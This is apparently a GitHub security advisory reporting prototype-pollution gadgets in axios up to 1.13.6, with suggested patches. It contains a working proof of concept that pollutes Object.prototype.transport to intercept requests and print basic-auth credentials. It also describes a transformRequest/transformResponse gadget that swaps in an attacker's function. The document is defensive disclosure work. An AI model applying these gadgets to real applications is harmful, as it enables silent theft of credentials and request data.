Advisory

GHSA-pf86-5x62-jrwf

Details, part 2 of 2. The advisory

Details

The transport interface is { request(options, handleResponseCallback) }. The options object passed to transport.request at adapter runtime contains:

  • options.hostname, options.port, options.path -- full target URL
  • options.auth -- basic auth credentials in "username:password" form (set at line 606)
  • options.headers -- all request headers as a plain object

Proof of concept

Two terminals. The server is a legitimate API endpoint that processes the request normally. The client's process has been affected by prototype pollution.

Terminal 1 -- server (`server_gadget2.mjs`):

import http from 'http';

const server = http.createServer((req, res) => {
  console.log('[server] request:', req.method, req.url, 'auth:', req.headers.authorization || '(none)');
  res.writeHead(200, { 'Content-Type': 'application/json' });
  res.end('{"ok":true}');
});

server.listen(19002, '127.0.0.1', () => {
  console.log('[server] listening on 127.0.0.1:19002');
});
$ node server_gadget2.mjs
[server] listening on 127.0.0.1:19002
[server] request: GET /api/users auth: Basic c3ZjX2FjY291bnQ6aHVudGVyMg==

Terminal 2 -- client (`poc_transport.mjs`):

import axios from 'axios';
import http from 'http';

Object.prototype.transport = {
  request(options, handleResponse) {
    // Intercept: called for every outbound request in this process.
    console.log('[hijack] target:', options.hostname + ':' + options.port + options.path);
    console.log('[hijack] auth:', options.auth);
    console.log('[hijack] headers:', JSON.stringify(options.headers));
    // Forward to the real transport so the caller sees a normal 200.
    return http.request(options, handleResponse);
  },
};

const res = await axios.get('http://127.0.0.1:19002/api/users', {
  auth: { username: 'svc_account', password: 'hunter2' },
});
console.log('[app] response status:', res.status);

delete Object.prototype.transport;
$ node poc_transport.mjs
[hijack] target: 127.0.0.1:19002/api/users
[hijack] auth: svc_account:hunter2
[hijack] headers: {"Accept":"application/json, text/plain, */*","User-Agent":"axios/1.13.6","Accept-Encoding":"gzip, compress, deflate, br"}
[app] response status: 200

The basic auth credentials are fully visible to the attacker's transport function. The request completes normally from the caller's perspective.

---

Additional gadget: transformRequest / transformResponse

Separately, mergeConfig reads config2[prop] at line 102 without a hasOwnProperty guard. For keys like transformRequest and transformResponse that are present in defaults (and therefore processed by the mergeMap loop), if Object.prototype.transformRequest is polluted before the request, config2["transformRequest"] inherits the polluted value and defaultToConfig2 replaces the safe default transforms with the attacker's function.

This one requires a discriminator because assertOptions in Axios._request (line 119) reads schema[opt] for every key in the merged config's own keys, and schema["transformRequest"] also inherits from Object.prototype, causing it to call the polluted value as a validator. The gadget function needs to return true when its first argument is a function (the assertOptions call) and perform the attack when its first argument is data (the `transformData` call).

Both transformRequest (fires with request body) and transformResponse (fires with response body) are confirmed affected. Range: >= 0.19.0, <= 1.13.6.

---

Why the existing fix does not cover these

PR #7369 / CVE-2026-25639 (fixed in v1.13.5) addressed a separate class: passing {"__proto__": {"x": 1}} as the config object, which caused mergeMap['__proto__'] to resolve to Object.prototype (a non-function), crashing axios. The fix added an explicit block on __proto__, constructor, and prototype as config keys, and changed mergeMap[prop] to utils.hasOwnProp(mergeMap, prop) ? mergeMap[prop] : ....

That fix only addresses config keys that are explicitly set to __proto__ (or similar) by the caller. It does not add hasOwnProperty guards on the value reads (config2[prop] at line 102, this.parseReviver, config.transport). An application using a PP-vulnerable co-dependency and making axios requests is still fully exposed after upgrading to 1.13.5 or 1.13.6.

---

Suggested fixes

For parseReviver (`lib/defaults/index.js#L124`):

const reviver = Object.prototype.hasOwnProperty.call(this, 'parseReviver') ? this.parseReviver : undefined;
return JSON.parse(data, reviver);

For mergeConfig value reads (`lib/core/mergeConfig.js#L102`):

const configValue = merge(
  config1[prop],
  utils.hasOwnProp(config2, prop) ? config2[prop] : undefined,
  prop
);

For transport and other adapter reads from config (`lib/adapters/http.js#L676`):

if (utils.hasOwnProp(config, 'transport') && config.transport) {
  transport = config.transport;
}

The same hasOwnProp pattern applies to lookup, httpVersion, http2Options, family, and formSerializer reads in the adapter.

---

Environment

  • axios: 1.13.6
  • Node.js: 22.22.0
  • OS: macOS 14
  • Reproduction: confirmed in isolated test harness, both gadgets independently verified

Disclosure

Reported via GitHub Security Advisories at https://github.com/axios/axios/security/advisories/new per the axios security policy.

Sources & licences